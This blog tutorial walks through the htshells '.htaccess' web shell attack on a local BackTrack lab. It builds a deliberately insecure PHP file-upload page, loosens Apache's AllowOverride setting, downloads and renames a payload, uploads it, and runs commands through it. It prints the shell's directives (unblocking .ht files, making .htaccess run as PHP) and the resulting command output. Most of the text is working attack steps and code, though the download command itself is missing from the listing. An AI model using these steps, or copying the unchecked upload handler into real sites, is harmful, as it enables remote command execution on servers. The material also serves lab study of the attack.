htshells tutorial

Here is a quick tutorial on how to use the .htaccess shell attack. I did this on a backtrack 5 vm, the upload example is loosely based on (http://www.w3schools.com/PHP/php_file_upload.asp). The first thing we do is create our vulnerable "application", like this:

01root@bt:/var/www# mkdir htshells
02root@bt:/var/www# cd htshells/
03root@bt:/var/www/htshells# chmod 777 .
04root@bt:/var/www/htshells# cat > index.html
05<html>
06<body>
07 
08<form action="upload_file.php" method="post"
09enctype="multipart/form-data">
10<label for="file">Filename:</label>
11<input type="file" name="file" id="file" />
12<br />
13<input type="submit" name="submit" value="Submit" />
14</form>
15 
16</body>
17</html>
18root@bt:/var/www/htshells# cat > upload_file.php
19<?php
20if ($_FILES['file']['error'] > 0)
21  {
22  echo "Error: ".$_FILES['file']['error']."<br />";
23  }
24else
25  {
26  echo "Upload: ".$_FILES['file']['name']."<br />";
27  echo "Type: ".$_FILES['file']['type']."<br />";
28  echo "Size: " . ($_FILES['file']['size'] / 1024) . " Kb<br />";
29  echo "Stored in: ".$_FILES['file']['tmp_name']."<br />";
30  }
31  if (file_exists($_FILES['file']['name']))
32  {
33      echo $_FILES['file']['name']." already exists.";
34  }
35  else
36  {
37      move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
38      echo "Moved to: ".$_FILES['file']['name'];
39  }
40?>
Next we have to change the apache configuration, as backtrack comes with secure defaults.
1root@bt:/var/www# vim /etc/apache2/sites-enabled/000-default
Change the AllowOverride argument to all under the /var/www directory configuration
1<Directory /var/www/>
2        Options Indexes FollowSymLinks MultiViews
3        AllowOverride All
4        Order allow,deny
5        allow from all
6</Directory>
Then start apache
1root@bt:/var/www/htshells# apache2ctl start
Next we grab and prepare our payload:
01root@bt:/var/www/htshells# cd /root
04Resolving github.com... 207.97.227.239
05Connecting to github.com|207.97.227.239|:443... connected.
06HTTP request sent, awaiting response... 200 OK
07Length: 536 [text/plain]
08Saving to: `htaccess.php'
09 
10100%[========================================================================================>] 536         --.-K/s   in 0s     
11 
122011-06-01 20:16:18 (53.1 MB/s) - `htaccess.php' saved [536/536]
13 
14root@bt:~# mv htaccess.php .htaccess
15root@bt:~#

Next we visit our demo application in the browser
upload_form.png

Select the file to upload (you might have to right click and select show hidden files)
upload_file.png

Submit the file for upload
upload success.png

Now visit the .htaccess file and start running some commands:
01root@bt:/var/www/htshells# GET http://localhost/htshells/.htaccess?c=id
02# Self contained .htaccess web shell - Part of the htshell project
03# Written by Wireghoul - http://www.justanotherhacker.com
04 
05# Override default deny rule to make .htaccess file accessible over web
06<Files ~ "^\.ht">
07    Order allow,deny
08    Allow from all
09</Files>
10 
11# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
12# the apache directoves from the .htaccess file
13AddType application/x-httpd-php .htaccess
14 
15###### SHELL ######
16uid=33(www-data) gid=33(www-data) groups=33(www-data)
17###### LLEHS ######
No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.